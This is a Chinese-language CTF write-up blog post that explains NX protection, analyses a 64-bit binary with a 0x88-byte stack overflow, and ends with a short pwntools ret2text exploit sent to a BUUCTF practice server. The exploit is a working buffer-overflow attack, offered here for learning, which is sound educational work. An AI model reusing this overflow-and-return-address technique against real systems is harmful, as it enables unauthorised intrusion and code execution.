例行检查:
这里只开启了NX保护
这里复习以下NX保护:
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
这里用64位ida查看:
可以看到这里v4的偏移为0x88,而read函数限制0x100字节,很明显可以进行溢出。
**【注意】 **:这里有一个坑,点进v4里查看栈空间会发现这里并没有一个s,也就是保存pre-ebp的地方,只有一个返回地址
这里可以查看汇编:
这里并没有利用leave指令进行恢复指针,而leave指令的意思是:*** mov rsp,rbp | pop rbp ***
这里对比两个汇编就可以清楚:
第一个:开辟空间是利用sub,而第二个是先进行 push rbp,然后 mov rbp,rsp,这里有一个压rbp的操作,而第一个没有,所以可以知道这里没有rbp需要覆盖。
所以我们可以构造paylaod
pythonfrom pwn import*
io = remote('node4.buuoj.cn',26519)
io.recvuntil(b':\n')
addr = 0x0400620
payload = b'a'*0x88+p64(addr)
io.sendline(payload)
io.send(b'0xff')
io.interactive()
作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!